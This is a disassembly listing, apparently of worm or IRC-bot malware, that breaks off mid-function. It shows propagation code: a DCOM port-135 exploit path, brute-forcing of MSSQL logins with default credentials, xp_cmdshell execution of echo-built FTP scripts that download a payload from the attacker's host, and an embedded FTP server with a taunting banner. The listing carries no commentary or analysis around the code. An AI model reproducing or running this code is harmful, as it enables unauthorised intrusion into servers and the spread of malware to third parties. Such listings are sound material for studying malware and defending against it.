test esi, esi
jnz loc_404AB6
push 6
push 1
push 2
call ds:dword_4211E0 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_404A9E
xor eax, eax
lea edi, [ebp-1Ah]
stosd
push dword ptr [ebp+0A8h]
stosd
stosd
stosw
mov word ptr [ebp-1Ch], 2
call ds:dword_43A378 ; ntohs
mov [ebp-1Ah], ax
lea eax, [ebp+0Ch]
push eax
call ds:dword_43A3B8 ; inet_addr
mov [ebp-18h], eax
lea eax, [ebp-1Ch]
push 10h
push eax
push ebx
call ds:dword_43A320 ; connect
cmp eax, 0FFFFFFFFh
jz loc_404A93
cmp dword ptr [ebp+0A8h], 50h
jnz short loc_404A5B
mov al, [ebp+0C3h]
sub esp, 10h
mov esi, esp
mov [ebp-20h], esp
push 0
mov ecx, esi
mov [esi], al
call sub_404D21
lea eax, [ebp+0Ch]
push eax
call sub_415CD0
pop ecx
push eax
lea eax, [ebp+0Ch]
push eax
mov ecx, esi
call sub_404D5D
push dword ptr [ebp-4]
push dword ptr [ebp-8]
push ebx
call sub_40484C
add esp, 1Ch
jmp short loc_404A90
; ---------------------------------------------------------------------------
loc_404A5B: ; CODE XREF: seg000:00404A19j
cmp dword ptr [ebp+0A8h], 8Bh
jnz short loc_404A75
push dword ptr [ebp-4]
push dword ptr [ebp-8]
push ebx
call sub_40460C
jmp short loc_404A8D
; ---------------------------------------------------------------------------
loc_404A75: ; CODE XREF: seg000:00404A65j
cmp dword ptr [ebp+0A8h], 1BDh
jnz short loc_404A93
push dword ptr [ebp-4]
push dword ptr [ebp-8]
push ebx
call sub_404532
loc_404A8D: ; CODE XREF: seg000:00404A73j
add esp, 0Ch
loc_404A90: ; CODE XREF: seg000:00404A59j
movzx esi, al
loc_404A93: ; CODE XREF: seg000:00404A0Cj
; seg000:00404A7Fj
push ebx
call ds:dword_43A410 ; closesocket
test esi, esi
jnz short loc_404AA9
loc_404A9E: ; CODE XREF: seg000:004049C9j
push 3E8h
call ds:dword_421060 ; Sleep
loc_404AA9: ; CODE XREF: seg000:00404A9Cj
inc dword ptr [ebp-0Ch]
cmp dword ptr [ebp-0Ch], 2
jl loc_4049B0
loc_404AB6: ; CODE XREF: seg000:004049B2j
lea ecx, [ebp-8]
call sub_403F2D
test esi, esi
jz short loc_404B0F
lea eax, [ebp+0Ch]
push eax
mov eax, [ebp+0B0h]
imul eax, 3Ch
add eax, offset aDcom135 ; "Dcom135"
push eax
push offset dword_426410
lea eax, [ebp-624h]
push 200h
push eax
call sub_415A4A
lea eax, [ebp-624h]
push eax
call sub_40B151
mov eax, [ebp+0B0h]
add esp, 18h
imul eax, 3Ch
inc ds:dword_427308[eax]
lea eax, dword_427308[eax]
loc_404B0F: ; CODE XREF: seg000:00404AC0j
mov eax, esi
loc_404B11: ; CODE XREF: seg000:004049A8j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_420224
loc_404B16: ; CODE XREF: sub_420224+3j
; seg000:0042023Dj ...
push 1
call sub_404D21
retn
; END OF FUNCTION CHUNK FOR sub_420224
; =============== S U B R O U T I N E =======================================
sub_404B1E proc near ; CODE XREF: sub_4046AA+110p
; sub_4046AA+14Bp
arg_0 = dword ptr 4
arg_4 = byte ptr 8
mov eax, ds:dword_421248
push ebx
mov ebx, [esp+4+arg_0]
push esi
mov esi, ecx
push edi
sub eax, [esi+8]
cmp eax, ebx
ja short loc_404B38
call sub_41FD90
loc_404B38: ; CODE XREF: sub_404B1E+13j
test ebx, ebx
jbe short loc_404B6F
mov edi, ebx
push 0
add edi, [esi+8]
mov ecx, esi
push edi
call sub_404C9C
test al, al
jz short loc_404B6F
movsx eax, [esp+0Ch+arg_4]
push ebx
push eax
mov eax, [esi+4]
add eax, [esi+8]
push eax
call sub_415550
mov eax, [esi+4]
add esp, 0Ch
mov [esi+8], edi
and byte ptr [eax+edi], 0
loc_404B6F: ; CODE XREF: sub_404B1E+1Cj
; sub_404B1E+2Fj
mov eax, esi
pop edi
pop esi
pop ebx
retn 8
sub_404B1E endp
; =============== S U B R O U T I N E =======================================
sub_404B77 proc near ; CODE XREF: sub_4046AA+131p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, ds:dword_421248
push ebx
mov ebx, [esp+4+arg_4]
push esi
mov esi, ecx
push edi
sub eax, [esi+8]
cmp eax, ebx
ja short loc_404B91
call sub_41FD90
loc_404B91: ; CODE XREF: sub_404B77+13j
test ebx, ebx
jbe short loc_404BC6
mov edi, ebx
push 0
add edi, [esi+8]
mov ecx, esi
push edi
call sub_404C9C
test al, al
jz short loc_404BC6
mov eax, [esi+8]
push ebx
push [esp+10h+arg_0]
add eax, [esi+4]
push eax
call sub_4155B0
mov eax, [esi+4]
add esp, 0Ch
mov [esi+8], edi
and byte ptr [edi+eax], 0
loc_404BC6: ; CODE XREF: sub_404B77+1Cj
; sub_404B77+2Fj
mov eax, esi
pop edi
pop esi
pop ebx
retn 8
sub_404B77 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404BCE proc near ; CODE XREF: sub_4046AA+17Cp
; sub_41FDEA+46p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
mov edi, ecx
cmp [ebx+8], eax
jnb short loc_404BE6
call sub_41FFBC
loc_404BE6: ; CODE XREF: sub_404BCE+11j
mov eax, [ebx+8]
mov ecx, [ebp+arg_4]
mov esi, eax
sub esi, ecx
cmp [ebp+arg_8], esi
jnb short loc_404BF8
mov esi, [ebp+arg_8]
loc_404BF8: ; CODE XREF: sub_404BCE+25j
cmp edi, ebx
jnz short loc_404C1A
push ds:dword_421248
add esi, ecx
mov ecx, edi
push esi
call sub_404D92
push [ebp+arg_4]
mov ecx, edi
push 0
call sub_404D92
jmp short loc_404C93
; ---------------------------------------------------------------------------
loc_404C1A: ; CODE XREF: sub_404BCE+2Cj
test esi, esi
jbe short loc_404C5D
cmp esi, eax
jnz short loc_404C5D
mov eax, [ebx+4]
test eax, eax
jnz short loc_404C2E
mov eax, offset dword_421258
loc_404C2E: ; CODE XREF: sub_404BCE+59j
cmp byte ptr [eax-1], 0FEh
jnb short loc_404C5D
push 1
mov ecx, edi
call sub_404D21
mov eax, [ebx+4]
test eax, eax
jnz short loc_404C49
mov eax, offset dword_421258
loc_404C49: ; CODE XREF: sub_404BCE+74j
mov [edi+4], eax
mov ecx, [ebx+8]
mov [edi+8], ecx
mov ecx, [ebx+0Ch]
mov [edi+0Ch], ecx
inc byte ptr [eax-1]
jmp short loc_404C93
; ---------------------------------------------------------------------------
loc_404C5D: ; CODE XREF: sub_404BCE+4Ej
; sub_404BCE+52j ...
push 1
push esi
mov ecx, edi
call sub_404C9C
test al, al
jz short loc_404C93
mov eax, [ebx+4]
test eax, eax
jnz short loc_404C77
mov eax, offset dword_421258
loc_404C77: ; CODE XREF: sub_404BCE+A2j
mov ecx, [ebp+arg_4]
push esi
add eax, ecx
push eax
push dword ptr [edi+4]
call sub_4155B0
mov eax, [edi+4]
add esp, 0Ch
mov [edi+8], esi
and byte ptr [eax+esi], 0
loc_404C93: ; CODE XREF: sub_404BCE+4Aj
; sub_404BCE+8Dj ...
mov eax, edi
pop edi
pop esi
pop ebx
pop ebp
retn 0Ch
sub_404BCE endp
; =============== S U B R O U T I N E =======================================
sub_404C9C proc near ; CODE XREF: sub_4046AA+3Dp
; sub_404B1E+28p ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
cmp edi, 0FFFFFFFDh
jbe short loc_404CAE
call sub_41FD90
loc_404CAE: ; CODE XREF: sub_404C9C+Bj
mov ecx, [esi+4]
xor edx, edx
cmp ecx, edx
jz short loc_404CD7
mov al, [ecx-1]
cmp al, dl
jz short loc_404CD7
cmp al, 0FFh
jz short loc_404CD7
cmp edi, edx
jnz short loc_404D12
dec al
push edx
mov [ecx-1], al
loc_404CCC: ; CODE XREF: sub_404C9C+47j
mov ecx, esi
call sub_404D21
loc_404CD3: ; CODE XREF: sub_404C9C+4Bj
; sub_404C9C+52j
xor al, al
jmp short loc_404D1C
; ---------------------------------------------------------------------------
loc_404CD7: ; CODE XREF: sub_404C9C+19j
; sub_404C9C+20j ...
cmp edi, edx
jnz short loc_404CF0
cmp [esp+8+arg_4], dl
jz short loc_404CE5
push 1
jmp short loc_404CCC
; ---------------------------------------------------------------------------
loc_404CE5: ; CODE XREF: sub_404C9C+43j
cmp ecx, edx
jz short loc_404CD3
mov [esi+8], edx
mov [ecx], dl
jmp short loc_404CD3
; ---------------------------------------------------------------------------
loc_404CF0: ; CODE XREF: sub_404C9C+3Dj
cmp [esp+8+arg_4], dl
jz short loc_404D0D
mov eax, [esi+0Ch]
cmp eax, 1Fh
ja short loc_404D02
cmp eax, edi
jnb short loc_404D1A
loc_404D02: ; CODE XREF: sub_404C9C+60j
push 1
mov ecx, esi
call sub_404D21
jmp short loc_404D12
; ---------------------------------------------------------------------------
loc_404D0D: ; CODE XREF: sub_404C9C+58j
cmp [esi+0Ch], edi
jnb short loc_404D1A
loc_404D12: ; CODE XREF: sub_404C9C+28j
; sub_404C9C+6Fj
push edi
mov ecx, esi
call sub_404DF9
loc_404D1A: ; CODE XREF: sub_404C9C+64j
; sub_404C9C+74j
mov al, 1
loc_404D1C: ; CODE XREF: sub_404C9C+39j
pop edi
pop esi
retn 8
sub_404C9C endp
; =============== S U B R O U T I N E =======================================
sub_404D21 proc near ; CODE XREF: sub_4046AA+1Fp
; sub_4046AA+16Ap ...
arg_0 = byte ptr 4
cmp [esp+arg_0], 0
push esi
mov esi, ecx
jz short loc_404D4D
mov eax, [esi+4]
test eax, eax
jz short loc_404D4D
lea ecx, [eax-1]
mov al, [eax-1]
test al, al
jz short loc_404D46
cmp al, 0FFh
jz short loc_404D46
dec al
mov [ecx], al
jmp short loc_404D4D
; ---------------------------------------------------------------------------
loc_404D46: ; CODE XREF: sub_404D21+19j
; sub_404D21+1Dj
push ecx
call sub_416457
pop ecx
loc_404D4D: ; CODE XREF: sub_404D21+8j
; sub_404D21+Fj ...
and dword ptr [esi+4], 0
and dword ptr [esi+8], 0
and dword ptr [esi+0Ch], 0
pop esi
retn 4
sub_404D21 endp
; =============== S U B R O U T I N E =======================================
sub_404D5D proc near ; CODE XREF: seg000:00404A45p
; sub_404EB6+28p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
mov edi, [esp+8+arg_4]
push 1
mov esi, ecx
push edi
call sub_404C9C
test al, al
jz short loc_404D8B
push edi
push [esp+0Ch+arg_0]
push dword ptr [esi+4]
call sub_4155B0
mov eax, [esi+4]
add esp, 0Ch
mov [esi+8], edi
and byte ptr [eax+edi], 0
loc_404D8B: ; CODE XREF: sub_404D5D+12j
mov eax, esi
pop edi
pop esi
retn 8
sub_404D5D endp
; =============== S U B R O U T I N E =======================================
sub_404D92 proc near ; CODE XREF: sub_404BCE+39p
; sub_404BCE+45p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
mov esi, [esp+8+arg_0]
push edi
mov edi, ecx
cmp [edi+8], esi
jnb short loc_404DA5
call sub_41FFBC
loc_404DA5: ; CODE XREF: sub_404D92+Cj
mov ecx, edi
call sub_404EB6
mov eax, [edi+8]
mov ebx, [esp+0Ch+arg_4]
sub eax, esi
cmp eax, ebx
jnb short loc_404DBB
mov ebx, eax
loc_404DBB: ; CODE XREF: sub_404D92+25j
test ebx, ebx
jbe short loc_404DF1
mov ecx, [edi+4]
sub eax, ebx
add ecx, esi
push eax
lea eax, [ecx+ebx]
push eax
push ecx
call sub_416470
mov esi, [edi+8]
add esp, 0Ch
sub esi, ebx
mov ecx, edi
push 0
push esi
call sub_404C9C
test al, al
jz short loc_404DF1
mov eax, [edi+4]
mov [edi+8], esi
and byte ptr [esi+eax], 0
loc_404DF1: ; CODE XREF: sub_404D92+2Bj
; sub_404D92+53j
mov eax, edi
pop edi
pop esi
pop ebx
retn 8
sub_404D92 endp
; =============== S U B R O U T I N E =======================================
sub_404DF9 proc near ; CODE XREF: sub_404C9C+79p
mov eax, offset loc_42026C
call sub_416438
sub esp, 0Ch
push ebx
push esi
push edi
mov edi, [ebp+8]
or edi, 1Fh
mov esi, ecx
cmp edi, 0FFFFFFFDh
mov [ebp-10h], esp
mov [ebp-14h], esi
jbe short loc_404E1F
mov edi, [ebp+8]
loc_404E1F: ; CODE XREF: sub_404DF9+21j
and dword ptr [ebp-4], 0
lea eax, [edi+2]
test eax, eax
jge short loc_404E2C
xor eax, eax
loc_404E2C: ; CODE XREF: sub_404DF9+2Fj
push eax
call sub_4167A5
pop ecx
mov [ebp+8], eax
jmp short loc_404E5D
; ---------------------------------------------------------------------------
loc_404E38: ; DATA XREF: seg001:00421F0Co
mov eax, [ebp+8]
mov [ebp-18h], eax
add eax, 2
test eax, eax
jge short loc_404E47
xor eax, eax
loc_404E47: ; CODE XREF: sub_404DF9+4Aj
push eax
call sub_4167A5
mov [ebp+8], eax
pop ecx
mov eax, offset loc_404E57
retn
; ---------------------------------------------------------------------------
loc_404E57: ; DATA XREF: sub_404DF9+58o
mov esi, [ebp-14h]
mov edi, [ebp-18h]
loc_404E5D: ; CODE XREF: sub_404DF9+3Dj
mov eax, [esi+8]
test eax, eax
jbe short loc_404E7B
cmp eax, edi
jbe short loc_404E6A
mov eax, edi
loc_404E6A: ; CODE XREF: sub_404DF9+6Dj
push eax
mov eax, [ebp+8]
push dword ptr [esi+4]
inc eax
push eax
call sub_4155B0
add esp, 0Ch
loc_404E7B: ; CODE XREF: sub_404DF9+69j
mov ebx, [esi+8]
push 1
mov ecx, esi
call sub_404D21
mov eax, [ebp+8]
inc eax
mov [esi+4], eax
and byte ptr [eax-1], 0
cmp ebx, edi
mov [esi+0Ch], edi
ja short loc_404E9B
mov edi, ebx
loc_404E9B: ; CODE XREF: sub_404DF9+9Ej
mov eax, [esi+4]
mov ecx, [ebp-0Ch]
mov [esi+8], edi
and byte ptr [eax+edi], 0
pop edi
pop esi
mov large fs:0, ecx
pop ebx
leave
retn 4
sub_404DF9 endp
; =============== S U B R O U T I N E =======================================
sub_404EB6 proc near ; CODE XREF: sub_404D92+15p
push esi
push edi
mov edi, ecx
mov esi, [edi+4]
test esi, esi
jz short loc_404EE3
mov al, [esi-1]
test al, al
jz short loc_404EE3
cmp al, 0FFh
jz short loc_404EE3
push 1
call sub_404D21
push esi
call sub_415CD0
pop ecx
push eax
push esi
mov ecx, edi
call sub_404D5D
loc_404EE3: ; CODE XREF: sub_404EB6+9j
; sub_404EB6+10j ...
pop edi
pop esi
retn
sub_404EB6 endp
; =============== S U B R O U T I N E =======================================
sub_404EE6 proc near ; DATA XREF: seg002:00423008o
test ds:byte_46975C, 1
jnz short loc_404EF6
or ds:byte_46975C, 1
loc_404EF6: ; CODE XREF: sub_404EE6+7j
jmp $+5
push offset nullsub_1
call sub_416820
pop ecx
retn
sub_404EE6 endp
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404F08 proc near ; CODE XREF: seg000:0040516Cp
var_E2C = byte ptr -0E2Ch
var_A2C = byte ptr -0A2Ch
var_62C = byte ptr -62Ch
var_22C = byte ptr -22Ch
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1A = byte ptr -1Ah
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_14 = byte ptr 1Ch
arg_A0 = dword ptr 0A8h
arg_A8 = dword ptr 0B0h
arg_B0 = dword ptr 0B8h
arg_B4 = dword ptr 0BCh
push ebp
mov ebp, esp
sub esp, 0E2Ch
mov al, ds:byte_438F9C
push esi
mov [ebp+var_1], al
push edi
lea eax, [ebp+var_14]
xor edi, edi
push eax
mov esi, offset aSa ; "sa"
push edi
push 1
mov [ebp+var_2C], esi
mov [ebp+var_28], offset aRoot ; "root"
mov [ebp+var_24], offset aAdmin ; "admin"
mov [ebp+var_20], edi
mov [ebp+var_18], edi
mov [ebp+var_10], edi
mov [ebp+var_8], edi
call ds:dword_43A2FC
test ax, ax
jnz short loc_404F68
push 0FFFFFFFAh
push 3
push 0C8h
push [ebp+var_14]
call ds:dword_43A400
test ax, ax
jz short loc_404F6F
loc_404F68: ; CODE XREF: sub_404F08+47j
xor eax, eax
jmp loc_405148
; ---------------------------------------------------------------------------
loc_404F6F: ; CODE XREF: sub_404F08+5Ej
lea eax, [ebp+var_10]
push eax
push [ebp+var_14]
push 2
call ds:dword_43A2FC
test ax, ax
jnz loc_40513B
test esi, esi
push ebx
jz loc_40512C
mov edi, ds:dword_421060
lea eax, [ebp+var_2C]
mov [ebp+var_C], eax
mov ebx, offset aTilesoft_com ; "Tilesoft.com"
loc_404FA1: ; CODE XREF: sub_404F08+1CFj
cmp ds:off_42C328, 0
jz loc_4050CB
mov eax, offset off_42C328
mov esi, eax
loc_404FB5: ; CODE XREF: sub_404F08+122j
lea ecx, [ebp+var_1]
push ecx
push dword ptr [eax]
mov eax, [ebp+var_C]
push dword ptr [eax]
lea eax, [ebp+arg_4]
push [ebp+arg_A0]
push eax
lea eax, [ebp+var_A2C]
push offset aDriverSqlServe ; "DRIVER={SQL Server};SERVER=%s,%d;UID=%s"...
push eax
call sub_4154CD
add esp, 1Ch
lea eax, [ebp+var_1A]
push 0
push eax
lea eax, [ebp+var_E2C]
push 400h
push eax
lea eax, [ebp+var_A2C]
push eax
call sub_415CD0
pop ecx
push eax
lea eax, [ebp+var_A2C]
push eax
push 0
push [ebp+var_10]
call ds:dword_43A3B4
test ax, ax
jz short loc_405031
cmp ax, 1
jz short loc_405031
push 1F4h
call edi ; Sleep
add esi, 4
mov eax, esi
cmp dword ptr [esi], 0
jnz short loc_404FB5
jmp loc_4050CB
; ---------------------------------------------------------------------------
loc_405031: ; CODE XREF: sub_404F08+10Bj
; sub_404F08+111j
lea eax, [ebp+var_8]
push eax
push [ebp+var_10]
push 3
call ds:dword_43A2FC
push ebx
push ebx
call sub_415529
push eax
call sub_415529
push eax
push ds:dword_438FBC
push [ebp+arg_0]
call sub_40A155
pop ecx
push eax
lea eax, [ebp+var_62C]
push offset aExecMaster__xp ; "EXEC master..xp_cmdshell 'del eq&echo o"...
push eax
call sub_4154CD
add esp, 20h
lea eax, [ebp+var_62C]
push 0FFFFFFFDh
push eax
push [ebp+var_8]
call ds:dword_43A33C
test ax, ax
jz short loc_4050C0
mov esi, 1388h
push esi
call edi ; Sleep
push ebx
lea eax, [ebp+var_62C]
push offset aExecMaster___0 ; "EXEC master..xp_cmdshell '%s'"
push eax
call sub_4154CD
add esp, 0Ch
lea eax, [ebp+var_62C]
push 0FFFFFFFDh
push eax
push [ebp+var_8]
call ds:dword_43A33C
test ax, ax
jz short loc_4050DC
push esi
call edi ; Sleep
loc_4050C0: ; CODE XREF: sub_404F08+17Fj
push [ebp+var_8]
push 3
call ds:dword_43A394
loc_4050CB: ; CODE XREF: sub_404F08+A0j
; sub_404F08+124j
add [ebp+var_C], 4
mov eax, [ebp+var_C]
cmp dword ptr [eax], 0
jz short loc_40512C
jmp loc_404FA1
; ---------------------------------------------------------------------------
loc_4050DC: ; CODE XREF: sub_404F08+1B3j
cmp [ebp+arg_B4], 0
mov [ebp+var_18], 1
jnz short loc_40510A
push 0
lea eax, [ebp+var_22C]
push [ebp+arg_B0]
push eax
lea eax, [ebp+arg_14]
push eax
push [ebp+arg_0]
call sub_412D32
add esp, 14h
loc_40510A: ; CODE XREF: sub_404F08+1E2j
lea eax, [ebp+var_22C]
push eax
call sub_40B151
mov eax, [ebp+arg_A8]
pop ecx
imul eax, 3Ch
inc ds:dword_427308[eax]
lea eax, dword_427308[eax]
loc_40512C: ; CODE XREF: sub_404F08+82j
; sub_404F08+1CDj
push [ebp+var_10]
push 2
call ds:dword_43A394
mov edi, [ebp+var_18]
pop ebx
loc_40513B: ; CODE XREF: sub_404F08+79j
push [ebp+var_14]
push 1
call ds:dword_43A394
mov eax, edi
loc_405148: ; CODE XREF: sub_404F08+62j
pop edi
pop esi
leave
retn
sub_404F08 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push esi
push edi
sub esp, 0BCh
lea esi, [ebp+8]
mov dword ptr [ebp+0A8h], 599h
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_404F08
push 2Fh
lea esi, [ebp+8]
pop ecx
mov dword ptr [ebp+0A8h], 1BDh
mov edi, esp
mov [ebp-4], eax
rep movsd
call sub_403C8B
add esp, 0BCh
mov [ebp+0C0h], eax
push 1
pop eax
pop edi
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4051A0 proc near ; CODE XREF: seg000:0040539Ep
var_5A0 = byte ptr -5A0h
var_1A0 = byte ptr -1A0h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
sub esp, 5A0h
push ebx
push esi
push edi
xor esi, esi
push 10h
lea eax, [ebp+var_10]
push esi
push eax
call sub_415550
add esp, 0Ch
lea eax, [ebp+arg_4]
mov [ebp+var_10], 2
push eax
call ds:dword_43A3B8 ; inet_addr
mov [ebp+var_C], eax
mov ax, ds:word_4266D8
push eax
call ds:dword_43A378 ; ntohs
push esi
push 1
push 2
mov [ebp+var_E], ax
call ds:dword_43A3F8 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_4052B9
lea eax, [ebp+var_10]
push 10h
push eax
push ebx
call ds:dword_43A320 ; connect
cmp eax, 0FFFFFFFFh
jz loc_4052B9
push esi
lea eax, [ebp+var_5A0]
push 400h
push eax
push ebx
call ds:dword_43A390 ; recv
mov esi, offset aTilesoft_com ; "Tilesoft.com"
push esi
push esi
push ds:dword_438FBC
push [ebp+arg_0]
call sub_40A155
pop ecx
mov edi, 190h
push eax
push offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user 1 1 >> o "...
lea eax, [ebp+var_1A0]
push edi
push eax
call sub_415A4A
add esp, 1Ch
lea eax, [ebp+var_1A0]
push 0
push eax
call sub_415CD0
pop ecx
push eax
lea eax, [ebp+var_1A0]
push eax
push ebx
call ds:dword_43A3C8 ; send
cmp eax, 0FFFFFFFFh
jz short loc_4052B9
push 1F4h
call ds:dword_421060 ; Sleep
push esi
push offset dword_425050
lea eax, [ebp+var_1A0]
push edi
push eax
call sub_415A4A
add esp, 10h
lea eax, [ebp+var_1A0]
push 0
push eax
call sub_415CD0
pop ecx
push eax
lea eax, [ebp+var_1A0]
push eax
push ebx
call ds:dword_43A3C8 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_4052BD
loc_4052B9: ; CODE XREF: sub_4051A0+51j
; sub_4051A0+67j ...
xor al, al
jmp short loc_4052DB
; ---------------------------------------------------------------------------
loc_4052BD: ; CODE XREF: sub_4051A0+117j
push 0
lea eax, [ebp+var_5A0]
push 400h
push eax
push ebx
call ds:dword_43A390 ; recv
push ebx
call ds:dword_43A410 ; closesocket
mov al, 1
loc_4052DB: ; CODE XREF: sub_4051A0+11Bj
pop edi
pop esi
pop ebx
leave
retn
sub_4051A0 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 210h
push ebx
push esi
lea eax, [ebp+0Ch]
push edi
push eax
call ds:dword_4211C8 ; gethostbyname
mov esi, eax
test esi, esi
jnz short loc_40530A
lea eax, [ebp+0Ch]
push eax
call ds:dword_4211D8 ; inet_addr
mov ebx, eax
jmp short loc_405310
; ---------------------------------------------------------------------------
loc_40530A: ; CODE XREF: seg000:004052FAj
mov ebx, [ebp+0C0h]
loc_405310: ; CODE XREF: seg000:00405308j
push 11h
push 2
push 2
call ds:dword_4211E0 ; socket
test esi, esi
mov edi, eax
jz short loc_40533A
movsx eax, word ptr [esi+0Ah]
push eax
mov eax, [esi+0Ch]
push dword ptr [eax]
lea eax, [ebp-0Ch]
push eax
call sub_4155B0
add esp, 0Ch
jmp short loc_40533D
; ---------------------------------------------------------------------------
loc_40533A: ; CODE XREF: seg000:00405320j
mov [ebp-0Ch], ebx
loc_40533D: ; CODE XREF: seg000:00405338j
test esi, esi
jz short loc_40534B
mov ax, [esi+8]
mov [ebp-10h], ax
jmp short loc_405351
; ---------------------------------------------------------------------------
loc_40534B: ; CODE XREF: seg000:0040533Fj
mov word ptr [ebp-10h], 2
loc_405351: ; CODE XREF: seg000:00405349j
push 598h
call ds:dword_4211DC ; ntohs
mov [ebp-0Eh], ax
lea eax, [ebp-10h]
push 10h
push eax
push edi
call ds:dword_4211E4 ; connect
test eax, eax
jnz short loc_4053D6
push eax
push 152h
push offset dword_426584
push edi
call ds:dword_4211EC ; send
push 3E8h
call ds:dword_421060 ; Sleep
sub esp, 0BCh
lea esi, [ebp+8]
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_4051A0
add esp, 0BCh
test al, al
jz short loc_4053B2
push 1
pop eax
jmp short loc_4053E8
; ---------------------------------------------------------------------------
loc_4053B2: ; CODE XREF: seg000:004053ABj
lea eax, [ebp-210h]
push eax
call sub_40B151
mov eax, [ebp+0B0h]
pop ecx
imul eax, 3Ch
inc ds:dword_427308[eax]
lea eax, dword_427308[eax]
jmp short loc_4053E6
; ---------------------------------------------------------------------------
loc_4053D6: ; CODE XREF: seg000:0040536Fj
push 1
push edi
call ds:dword_4211CC ; shutdown
push edi
call ds:dword_4211F0 ; closesocket
loc_4053E6: ; CODE XREF: seg000:004053D4j
xor eax, eax
loc_4053E8: ; CODE XREF: seg000:004053B0j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 0A6Ch
mov eax, [ebp+8]
push ebx
push esi
push edi
push 1
mov ecx, 0A9h
mov esi, eax
lea edi, [ebp-6DCh]
pop ebx
rep movsd
mov [eax+2A0h], ebx
lea eax, [ebp-0A6Ch]
xor edi, edi
push eax
push 101h
mov [ebp-28h], ebx
mov [ebp-18h], ebx
mov [ebp-228h], edi
mov [ebp-438h], edi
call ds:dword_4211B0 ; WSAStartup
push edi
call loc_416AB4
push eax
call sub_41551F
push 0FA00h
push 471h
call sub_41407E
add esp, 10h
mov ds:dword_438FBC, eax
push edi
push ebx
push 2
call ds:dword_4211E0 ; socket
mov esi, eax
lea eax, [ebp-28h]
push 4
push eax
push 4
push 0FFFFh
push esi
mov [ebp-0Ch], esi
call ds:dword_4211B4 ; setsockopt
lea eax, [ebp-18h]
push eax
push 8004667Eh
push esi
call ds:dword_4211B8 ; ioctlsocket
mov ax, word ptr ds:dword_438FBC
mov word ptr [ebp-38h], 2
push eax
mov [ebp-34h], edi
call ds:dword_4211DC ; ntohs
mov [ebp-36h], ax
lea eax, [ebp-38h]
push 10h
push eax
push esi
call ds:dword_4211BC ; bind
test eax, eax
jge short loc_4054C2
mov eax, ebx
jmp loc_4059E9
; ---------------------------------------------------------------------------
loc_4054C2: ; CODE XREF: seg000:004054B9j
push 0Ah
push esi
call ds:dword_4211C0 ; listen
mov [ebp-228h], ebx
mov ebx, ds:dword_4211EC
mov [ebp-224h], esi
mov [ebp-4], esi
loc_4054E0: ; CODE XREF: seg000:00405519j
; seg000:004059E1j
push 41h
lea esi, [ebp-228h]
pop ecx
lea edi, [ebp-438h]
rep movsd
xor esi, esi
lea eax, [ebp-438h]
push esi
push esi
push esi
push eax
mov eax, [ebp-4]
inc eax
push eax
call ds:dword_4211D0 ; select
cmp eax, 0FFFFFFFFh
jz loc_4059E6
xor edi, edi
cmp [ebp-4], esi
mov [ebp+8], edi
jl short loc_4054E0
loc_40551B: ; CODE XREF: seg000:004059DBj
xor esi, esi
push 64h
lea eax, [ebp-29Ch]
push esi
push eax
call sub_415550
push 64h
lea eax, [ebp-0ACh]
push esi
push eax
call sub_415550
add esp, 18h
lea eax, [ebp-438h]
push eax
push edi
call sub_4200E6 ; __WSAFDIsSet
test eax, eax
jz loc_4059D4
cmp edi, [ebp-0Ch]
jnz short loc_4055D2
lea eax, [ebp-24h]
mov dword ptr [ebp-24h], 10h
push eax
lea eax, [ebp-238h]
push eax
push dword ptr [ebp-0Ch]
call ds:dword_4211C4 ; accept
cmp eax, 0FFFFFFFFh
jz loc_4059D4
xor ecx, ecx
cmp [ebp-228h], esi
jbe short loc_40559C
lea edx, [ebp-224h]
loc_40558C: ; CODE XREF: seg000:0040559Aj
cmp [edx], eax
jz short loc_40559C
inc ecx
add edx, 4
cmp ecx, [ebp-228h]
jb short loc_40558C
loc_40559C: ; CODE XREF: seg000:00405584j
; seg000:0040558Ej
cmp ecx, [ebp-228h]
jnz short loc_4055BA
cmp dword ptr [ebp-228h], 40h
jnb short loc_4055BA
mov [ebp+ecx*4-224h], eax
inc dword ptr [ebp-228h]
loc_4055BA: ; CODE XREF: seg000:004055A2j
; seg000:004055ABj
cmp eax, [ebp-4]
jle short loc_4055C2
mov [ebp-4], eax
loc_4055C2: ; CODE XREF: seg000:004055BDj
push esi
push 15h
push offset a220Fuckftpd0wn ; "220 fuckFtpd 0wns j0\n"
push eax
call ebx ; send
jmp loc_4059D4
; ---------------------------------------------------------------------------
loc_4055D2: ; CODE XREF: seg000:00405556j
push esi
lea eax, [ebp-29Ch]
push 64h
push eax
push edi
